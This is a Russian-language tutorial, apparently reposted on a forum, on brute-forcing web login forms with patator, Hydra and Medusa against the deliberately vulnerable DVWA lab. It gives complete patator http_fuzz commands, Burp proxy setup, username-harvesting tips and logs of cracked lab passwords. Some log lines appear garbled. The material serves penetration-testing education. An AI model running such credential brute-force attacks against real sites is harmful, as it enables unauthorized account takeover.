Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa

[klobald]

Брут-форс входа: эффективен даже на сайтах без уязвимостей

Брут-форс (перебор паролей) на веб-сайтах вызывает больше всего проблем у (начинающих) пентестеров. Если перебирать пароли на разных, например, FTP серверах, то команды, которыми запускаются программы, будут мало отличаться друг от друга – только различные цели. Если же мы переходим к перебору паролей в веб-формах, то тут всё по-другому: трудно найти два сайта, на которых был бы одинаковый набор полей формы с одинаковыми именами и одинаковое поведение при успешном или неуспешном входе.​

Кроме этого разнообразия, даже без проактивной защиты веб-форма может быть создана разработчиком так, что в неё уже после нажатия на кнопку «Отправить» добавляются поля, без которых сервер не принимает форму. Анализом статичного кода это выяснить иногда очень непросто. Также на стороне веб-мастера очень легко реализовать такие анти-брутфорс меры как добавление скрытых полей со случайными значениями, анализ заголовка Referer и прочее. Всё это требует дополнительных сил на анализ.

Ну а если в дело вступают серьёьзные проактивные защиты, такие как капча, блокировка попыток входа при нескольких неудачных попытках, двухфакторная аутентификация и т.д., то даже у опытных пентестеров опускаются руки.

И тем не менее, брут-фос учётных данных на веб-сайтах очень интересен для тестеров на проникновение. Поскольку если ПО сервера и веб-приложения не содержит известных уязвимостей, то подбор пароля остаётся одним из немногих методов компрометации.

Программы patator, Hydra, Medusa могут перебирать пароли для разнообразных служб, но мы остановимся именно на веб-формах. В этом разделе мы познакомимся с этими программами поближе, узнаем, как получить полный список передаваемых формой полей и научимся перебирать пароли в этих веб-формах с помощью patator, Hydra, Medusa.

Брут-форс формы, передающей данные методом GET, я буду показывать на примере Damn Vulnerable Web Application (DVWA). А перебор паролей формы, передающей данные методом POST я буду показывать на примере OWASP Mutillidae II. Я буду работать с этими уязвимыми веб-приложениями, предустановленными в Web Security Dojo.

Да и, пожалуй, рассмотрим ещё брут-форс входа на нескольких актуальных версиях реальных веб-приложений.


Передача данных из формы аутентификации на веб-сервер
Методы отправки данных

Как уже было упомянуто, веб-формы могут отправлять данные методом GET или POST.

• get

Этот метод предназначен для получения требуемой информации и передачи данных в адресной строке. Пары «имя=значение» присоединяются в этом случае к адресу после вопросительного знака и разделяются между собой амперсандом (символ &). Удобство использования метода get заключается в том, что адрес со всеми параметрами можно использовать неоднократно, сохранив его, например, в закладки браузера, а также менять значения параметров прямо в адресной строке.

• post

Метод post посылает на сервер данные в запросе браузера. Это позволяет отправлять большее количество данных, чем доступно методу get, поскольку у него установлено ограничение в 4 Кб. Большие объемы данных используются в форумах, почтовых службах, заполнении базы данных, при пересылке файлов и др.

Пример формы, которая отправляет данные методом GET:

<form action="handler.php" method="get">

    <p><input type="text" name="str"></p>

    <p><input type="submit" value="Отправить"></p>

</form>

Обратите внимание на action="handler.php" – значение этого атрибута говорит о том, что данные будут отправлены файлу handler.php. Т.е. если я введу в текстовое поле, например hackware, то после нажатия на кнопку «Отправить» будет открыта страница ./handler.php?str=hackware

Пример формы, которая отправляет данные методом POST:

<form action="handler.php" method="post">

    <p><input type="text" name="str"></p>

    <p><input type="submit" value="Отправить"></p>

</form>

Если я введу в текстовое поле, например hackware, то после нажатия на кнопку «Отправить» будет открыта страница ./handler.php, т.е. в адресной строке передаваемые данные не отображаются.

Пусть вас не сбивает с толку формы, в которых отсутствуют атрибуты method и/или action. Они не являются обязательными. Если они отсутствуют, то используются значения по умолчанию. Для method это get, а для action – сама страница с формой (т.е. данные отправляются тому же скрипту/файлу, который показывает форму).

Отправляемые данные

Казалось бы, для формы вполне логично отправлять ровно два поля: имя пользователя и пароль. Тем не менее, часто формы содержат скрытые поля и поля, добавляемые на лету. Это важно знать, поскольку даже при верном логине и пароле форма выдаст ошибку входа, если отсутствуют другие требуемые данные.



Поведение веб-приложения при получении данных для входа
Проверка успешности входа

Как узнать, вошли ли мы? Т.е. как понять, что пароль успешно угадан? Для этого анализируется страница, которая присылается после попытки входа. Иногда мы не можем знать, что показывается залогиненому пользователю, поскольку у нас нет действительной учётной записи. Поэтому популярным стал метод от противного: мы пробуем ввести какой-либо логин и пароль и смотрим на ошибку. Например, это может быть «Account does not exist». Далее программа по перебору сравнивает выдаваемые ей страницы и если там отсутствует строка «Account does not exist», значит пароль подобран.

Также программы брут-форсинга могут работать и со строками, отображающимися при успешном входе.

Поведение веб-приложения при удачном или неудачном входе не ограничивается только показом сообщения. Также вместе или даже вместо показа какого-либо сообщения веб-приложение может:

• осуществлять редирект (например, в случае удачного входа пользователь перенаправляется в админку или на свою страницу);
• записывать кукиз (в случае верного логина и пароля сервер отправляет кукиз с данными сессии. И на основании этих кукиз веб-приложение показывает вошедшему пользователю кнопки редактирования, ссылку на админ.панель и т.д.).

И ещё по поводу отображаемых данных – многие популярные веб-приложения имеют поддержку многих языков. Это также важно учитывать, поскольку вы ожидаете от знакомого вам веб-приложения «Account does not exist», а с учётом своей локали оно будет показывать «ไม่มีบัญชีอยู่»…



Кукиз, заголовки, скрытые поля, случайные данные в скрытых полях
Нужно помнить о таких возможных моделях поведения веб-приложения как:

• присваивать кукиз с сессией каждому, кто открыл веб-форму, а при получении из неё данных, проверять, имеется ли такая сессия. Если сессии нет, то не принимать даже верный пароль. Т.е. перед каждой попыткой требуется получить веб-страницу с формой, при этом сохранить полученные кукиз для отправки их вместе с кандидатами в логины и пароли;
• при каждом обновлении страницы форма может содержать скрытые поля со случайными данными. Это требует перед каждой попыткой получение формы, извлечение этих случайных данных, добавление их в передаваемое с логином и паролем тело запроса;
• могут быть упрощённые варианты: статичные кукиз и статичные данные в скрытых полях формы. Это не требует получения их при каждой попытки входа. Но нужно не забывать добавлять значение скрытых полей в тело запроса, а про кукиз помнить, что сессия может закончиться по таймауту и нужно получить новое куки.

Сбор имён пользователей
Некоторые веб-приложения содержат имена пользователей (логин) на страницах их профилей, иногда в качестве части адреса страницы профиля, иногда необходимо использовать дополнительные программы для выявления логинов (например, для WordPress это может делать WPScan). На это не нужно жалеть времени. Если удастся собрать валидные логины пользователей, то это очень-очень сильно сократит время подбора по сравнению если бы мы брали имена пользователей из словаря.

Мы ещё даже не начали знакомиться с программами для перебора, а матчасть получилась значительной. В этом и заключается сложность брут-форса входа веб-приложения – они все разные и каждое требует индивидуального подхода.



Подготовка Web Security Dojo
Установим необходимые нам программы и немного обновимся (это внутри Web Security Dojo):

sudo apt-get update

# sudo apt-get dist-upgrade # по желанию можно выполнить полное обновление системы. Если вы это сделали, то перезагрузитесь перед продолжением

sudo apt-get install python-pycurl libcurl4-openssl-dev automake autoconf m4 perl

sudo pip install --upgrade pip

sudo pip install --upgrade pycurl

Установим свежую версию Medusa из исходных кодов:

sudo apt-get remove medusa

git clone https://github.com/jmk-foofus/medusa

cd medusa/

autoreconf -f -i

./configure

make

sudo make install

/usr/local/bin/medusa --help

Установим свежую версию Hydra из исходных кодов:

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev

git clone https://github.com/vanhauser-thc/thc-hydra.git

cd thc-hydra/

./configure

make

sudo make install

Скачаем последнюю версию скрипта patator:

wget https://raw.githubusercontent.com/lanjelot/patator/master/patator.py

chmod +x patator.py

./patator.py

Ещё обратите внимание, что я обновил Damn Vulnerable Web Application (DVWA) и Damn Vulnerable Web Application (DVWA) до последних версий. Как это сделать описано на соответствующих страницах по приведённым ссылкам.

Ещё нам понадобятся списки слов (словари). Скачаем парочку, если с ними не получится подобрать пароль, то позже скачаем ещё и другие словари:

wget https://raw.githubusercontent.com/1N3/BruteX/master/wordlists/namelist.txt

wget https://raw.githubusercontent.com/1N3/BruteX/master/wordlists/password_medium.txt

Самую свежую версию Burp Suite можно скачать по ссылке:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

Сбор данных о работе веб-формы
Нужно начать со сбора данных о работе веб-формы. Анализ статичных данных (HTML кода) может быть трудным и очень легко что-то пропустить. Поэтому мы будем анализировать «живые» данные, которые непосредственно отправляет браузер. Для подобного анализа нам нужен прокси. Мы воспользуемся Burp Suite Free Edition.

Настройка прокси в Burp Suite для анализа данных передаваемых из веб-формы

Запустите Burp Suite, это можно сделать из меню, либо, если вы скачали свежую версию, так:

java -jar ./Downloads/burpsuite_*.jar

Переходим во вкладку Proxy -> Options. Там в самом верху в Proxy Listeners нажимаем Add и добавляем новый прослушиватель: на любом не занятом порту, например, 7070. В качестве Specific Addressвыберите IP компьютера атакующего (т.е. той машины, где запущен Burp).

Здесь же перейдите во вкладку Request handling и поставьте галочку на Support invisible proxying (enable only if needed).

Когда добавите новый прослушиватель, поставьте галочку там, где Running (это будет означать, что он задействован в данное время).

Теперь спуститесь в самый низ, найдите Allow requests to web interface using fully-qualifyed DNS hostnames и поставьте там галочку.

Теперь перейдите в Proxy -> Intercept, отключите его.

Теперь в браузере открываете Настройки -> Advanced -> Network -> Connections Settings.

Там выберите Manual Proxy Configuration и в полях HTTP Proxy введите IP и порт прокси в Burp Suite.

Брут-форс веб-форм, использующих метод GET
В Web Security Dojo переходим к Damn Vulnerable Web Application (DVWA) по адресу

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

:

Обратите внимание, для входа у нас запрашивается логин и пароль. Мы будем брутфорсить не эту форму (хотя ничего не помешало бы нам это сделать). Эта форма служит для доступа в DVWA, страницы которой содержат уязвимые веб-приложения, в том числе те, которые предназначены для входа, но от которых мы не знаем пароли. От этой формы мы знаем пару логин:пароль, введём их. Скорее всего, после этого в наш браузер будет записана куки. При каждом обращении к страницам DVWA, сервер будет запрашивать куки и сверять – имеется ли такая сессия. Если сессия имеется, то мы будем беспрепятственно просматривать страницы DVWA. Очень хорошо, что мы обратили на это внимание – ведь нам нужно настроить наши программы для брутфорса так, чтобы и они отправляли куки с валидной сессией, иначе они не смогут «общаться» с внутренними страницами DVWA, которые содержат веб-форму, которую мы хотим брут-форсить.



Перейдите в DVWA Security и поставьте низкий уровень безопасности (Low), сохраните сделанные изменения:

Переходим во вкладку Brute Force.

На самом деле, там под звёздочками уже имеется пароль пользователя admin. Но наша задача заключается узнать этот пароль с помощью брут-форса. Дополнительно в задании нам сообщили о четырёх пользователях, пароли которых также нужно узнать. Поэтому я дописываю к паролю одну цифру, чтобы сделать его заведомо неверным, нажимаю Отправить. На странице сайта мы видим:

Важной информацией является следующее:

• при неверном пароле сервер выдаёт надпись «Username and/or password incorrect.»
• судя по адресу
  
  

  Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

  
  
  сервер использует отправку данных методом GET.

Кстати, то, что форма отправляет значения некоторых величин методом GET, вовсе не означает, что она одновременно не отправляет значения методом POST. Когда передо мной стояла задача реализации одновременной отправки данных методом GET и POST с помощью AJAX, то задача оказалась довольно простой в решении. В данном случае данные отправляются только методом GET, но нужно помнить, что могут быть более необычные варианты.

Теперь переходим в Burp Suite для анализа данных:

Важные строки:

• GET /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login HTTP/1.1
• Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2

Первая говорит о том, что данные передаются только методом GET, а также содержит строку запроса /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login

Вторая содержи куки, без которого нас не пустят на внутренние страницы сервера. Т.е. их также нужно обязательно указывать.

В некоторых случаях также важной могла бы оказаться строка с Referer:

• Referer:
  
  

  Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

  
  

Но данное веб-приложение не проверяет Referer, поэтому в программе необязательно указывать этот заголовок.

Также посмотрим ответ веб-сервера:

Редиректа (Location и записи новых кукиз не происходит. А в ответе при неверном пароли присутствует слово «incorrect»:

Мы собрали достаточно данных, переходим к составлению команды для запуска брутфорса.



Использование patator для брут-форса веб-форм, передающих данные методом GET
Если предыдущий материал показался вам сложным, то у меня для вас плохая новость – сложное начинается только сейчас. Поэтому собрались! ))

patator предназначен для брут-форса большого количества разнообразных служб (и не только служб, кстати). Для брут-форса входа веб-приложений предназначен модуль http_fuzz.

Страница patator в Энциклопедии инструментов хакера является огромной. Это связано с большим количеством доступных модулей и примеров. Давайте выпишем только те опции, которые нам могут пригодиться для подбора пароля веб-сайтов:

Глобальные опции patator (применимы ко всем модулям, в том числе и для http_fuzz):

Выполнение:

-x arg действия и условия, смотри Синтаксис ниже

--resume=r1[,rN]* возобновить предыдущий запуск

-e arg кодировать всё между двумя тэгами, смотри Синтаксис ниже

-C str разделитель строки в комбо файлах (по умолчанию это ':')

-X str разделитесь строки в условиях (по умолчанию это ',')

--allow-ignore-failures

неудачи не могут быть проигнорированы с -x (это

сделано специально во избежания ложных срабатываний)

эта опция переписывает это поведение



Оптимизация:

--rate-limit=N ждать N секунд между каждым тестом (по умолчанию это 0)

--timeout=N ждать N секунд ответа перед повторной попыткой

(по умолчанию 0)

--max-retries=N пропустить полезную нагрузку после N попыток (по

умолчанию это 4) (-1 для бесконечности)

-t N, --threads=N количество потоков (по умолчанию это 10)



Синтаксис:

-x действия:условия



действия := действие[,действие]*

действие := "ignore" | "retry" | "free" | "quit" | "reset"

условия := условие=значение[,условие=значение]*

условие := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep"



ignore : не сообщать

retry : пробовать полезную нагрузку снова

free : отклонить будущие подобные полезные нагрузки

quit : прекратить выполнение сейчас

reset : закрыть текущее подключение для переподключения в следующий раз



code : соответствие коду статуса

size : соответствие размеру (N или N-M или N- or -N)

time : соответствие времени (N или N-M или N- or -N)

mesg : соответствие сообщению

fgrep : поиск строки в сообщении

egrep : поиск регулярного выражения в сообщении



Например, для игнорирования всех перенаправлений на домашнюю страницу:

... -x ignore:code=302,fgrep='Location: /home.html'



-e тэг:кодировка



тэг := любая уникальная строка (например, T@G или _@@_ или ...)

кодировка := "unhex" | "sha1" | "b64" | "url" | "hex" | "md5"



unhex : декодировать из шестнадцатеричной

sha1 : хеш в sha1

b64 : кодировать в base64

url : url кодирование

hex : кодировать в шестнадцатеричную

md5 : hash в md5

Например, для кодирования каждого пароля в base64:

... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64

Опции модуля http_fuzz:

url : целевой url (схема://хост[:порт]/путь?запрос)

body : данные тела

header : использовать пользовательские заголовки

method : метод для использования [GET|POST|HEAD|...]

raw_request : загрузить запрос из файла

scheme : схема [http|https]

auto_urlencode: автоматически выполнять URL-кодирование [1|0]

user_pass : имя пользователя и пароль для HTTP аутентификации (пользователь:пароль)

auth_type : тип HTTP аутентификации [basic | digest | ntlm]

follow : следовать любому редиректу Location [0|1]

max_follow : предел редиректов [5]

accept_cookie : сохранить полученные кукиз для отправки их в следующих запросах [0|1]

http_proxy : тип прокси для использования [http|socks4|socks4a|socks5]

ssl_cert : файл клиентского SSL сертификата (cert+key в PEM формате)

timeout_tcp : секунд для ожидания TCP хендшейка [10]

timeout : секунд для ожидания HTTP ответа [20]

before_urls : разделённые запятой URL для запроса перед основным запросом

before_header : использовать пользовательский заголовок в запросе before_urls

before_egrep : извлечь данные из before_urls ответа для размещения в главный запрос

after_urls : разделённые запятыми URL для запроса после главного запроса

max_mem : сохранять не более чем N байт данных запроса+ответа в памяти [-1 (неограниченно)]

persistent : использовать постоянные соединения [1|0]

Давайте начнём строить нашу команду для запуска перебора паролей с помощью patator.

Начинаться она будет с ./patator.py http_fuzz, здесь ./patator.py – это расположение файла скрипта, а http_fuzz – название используемого модуля.

Как мы помним, серверу передаётся строка /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login, которая является относительным адресом страницы. Абсолютный адрес в нашем случае выглядит так

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Этот адрес мы указываем с опцией url: url="

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

"

Слово admin мы заменяем на заполнитель FILE0 а вместо password11 указываем второй заполнитель FILE1. В итоге адрес, который мы будем запрашивать каждый раз на веб-сервере, и который мы указываем с опцией url становится таким: url="

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

"

Также нам нужно указать расположение файлов с именами пользователей и паролями. Обратите внимание, вместо FILE0 и FILE1 используется сокращённая запись 0= и 1=. Файлы расположены в той же директории, что и скрипт patator, поэтому к нашей команде я добавляю 0=namelist.txt 1=password_medium.txt

Далее мы добавляем используемый метод: method=GET

Куки передаются в заголовках, поэтому добавляем наши куки строкой: header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2'

Теперь после опции -x нам нужно указать действие и условие таким образом, чтобы при успешном входе подобранные логин и пароль выводились нам, а неудачные попытки – нет. Неудачной попыткой являются те, когда в присылаемом от сервера ответе присутствует слово incorrect. В качестве действия мы выбираем ignore. Тогда получается -x ignore:fgrep='incorrect'.

Соберём всё вместе, в конечном счёте получается следующая команда:

./patator.py http_fuzz url="

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=namelist.txt 1=password_medium.txt -x ignore:fgrep='incorrect'

Обратите внимание, что если вы попытаетесь использовать эту же команду в Web Security Dojo в Damn Vulnerable Web Application (DVWA), скачаете эти же самые словари, которые я использую, то у вас всё равно ничего не получится! Поскольку вам значение 1n3b0ma83kl75996udoiufuvc2 (куки) нужно поменять на своё.

Перебор затянется на длительное время, логи Apache (чтобы убедиться, что процесс идёт), можно смотреть следующей командой:

tail /var/log/apache2/access.log -n 100


Чтобы посмотреть прогресс в самой программе, нажмите [ENTER]. Для просмотра всех доступных интерактивных команд, нажмите h.

Вот результат выполнения брут-форса:

03:28:56 patator INFO - Starting Patator v0.7-beta (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

) at 2016-09-09 03:28 EDT

03:28:56 patator INFO 03:28:56 patator INFO - code size:clen time | candidate | num | mesg

03:28:56 patator INFO - -----------------------------------------------------------------------------

03:30:51 patator INFO - 200 5312:5002 0.030 | adminassword | 32964 | HTTP/1.1 200 OK

03:30:54 patator INFO - 200 5312:5002 0.041 | adminassword | 32965 | HTTP/1.1 200 OK

04:51:34 patator INFO - 200 5312:5002 0.046 | adminassword | 1400702 | HTTP/1.1 200 OK

04:51:35 patator INFO - 200 5312:5002 0.041 | adminassword | 1400701 | HTTP/1.1 200 OK

05:41:13 patator INFO - Hits/Done/Skip/Fail/Size: 4/2096668/0/0/2096668, Avg: 264 r/s, Time: 2h 12m 17s

01
С одной стороны, программу минимум мы выполнили и нашли пароль администратора. Но мы не нашли ни одного (из четырёх) паролей пользователя.

Скорость перебора составила 264 протестированных комбинации за секунду.

И ещё обратите внимание, что одну и ту же учётную запись мы взломали четыре раза. Это не ошибка patator – это проблема наших словарей, в которых одни и те же имена пользователя и/или пароли повторялись несколько раз. Для брут-форса веб-приложений это плохо. Кстати, давайте посчитаем,

Всего было протестировано 2096668 комбинации логин:пароль. Это можно проверить и самому. Посчитаем количество имён пользователя:

cat namelist.txt | wc -l

2908

Посчитаем количество паролей:
cat password_medium.txt | wc -l

721

Всего комбинаций: 2908*721=2096668

А теперь давайте удалим дубликаты и снова посчитаем количество комбинаций:

cat namelist.txt | sort | uniq > namelist_new.txt

cat password_medium.txt | sort | uniq > password_medium_new.txt

cat namelist_new.txt | wc -l

2486

cat password_medium_new.txt | wc -l

706

2486*706=1755116

Т.е. если бы мы догадались начать с удаления дубликатов, то количество комбинаций, необходимых для тестирования, сократилось бы примерно на 350 тысяч… Пусть это послужит нам уроком.

Мы не узнали данных ни одного из четырёх пользователей. Нам нужны новые словари для продолжения брут-форса, но давайте введём полученные данные учётной записи adminassword и продолжим исследование веб-приложения. Мы видим фотографию пользователя:

Фотография размещена по адресу

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. А что если мы заглянем в папку

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

?..

Я почти уверен, что название файлов изображений соответствуют именам пользователей, т.е. это

• 1337
• gordonb
• pablo
• smithy

Это большой список и новый брут-форс сильно бы затянулся. Вместо этого я создаю файлик opened_names.txt и вписываю туда всего 4 строчки:

1337

gordonb

pablo

smithy

wget

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

bunzip2 500-worst-passwords.txt.bz2

Теперь моя команда с новыми словарями выглядит так:

./patator.py http_fuzz url="

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=500-worst-passwords.txt -x ignore:fgrep='incorrect'

Результат:

04:21:04 patator INFO - Starting Patator v0.7-beta (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

) at 2016-09-15 04:21 EDT

04:21:04 patator INFO -

04:21:04 patator INFO - code size:clen time | candidate | num | mesg

04:21:04 patator INFO - -----------------------------------------------------------------------------

04:21:06 patator INFO - 200 5316:5006 0.027 | gordonb:abc123 | 518 | HTTP/1.1 200 OK

04:21:08 patator INFO - 200 5313:5003 0.031 | pablo :letmein | 1011 | HTTP/1.1 200 OK

04:21:11 patator INFO - 200 5314:5004 0.011 | smithyassword | 1502 | HTTP/1.1 200 OK

04:21:12 patator INFO - Hits/Done/Skip/Fail/Size: 3/2000/0/0/2000, Avg: 250 r/s, Time: 0h 0m 7s

Ну наконец-то и на моей улице праздник. Буквально за считанные секунды я взломал пароли для трёх учётных записей из четырёх.

Из файла opened_names.txt я убираю все строки, кроме 1337 (чтобы уже взломанные пользователи не отнимали время). Попробую с таким сочетанием:

./patator.py http_fuzz url="

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=password_medium_new.txt -x ignore:fgrep='incorrect'

Без результата.

Возьмём молоток побольше — Rockyou:

wget

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

bunzip2 rockyou.txt.bz2

./patator.py http_fuzz url="

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=rockyou.txt -x ignore:fgrep='incorrect'

Результат получен на удивление быстро:

Недостающая пара: 1337:charley

Ещё из скриншота видны ложные срабатывания, когда в пароле присутствуют специальные символы. Это может означать наличие другой уязвимости, например, SQL-инъекции.

На этом все, продолжение следует.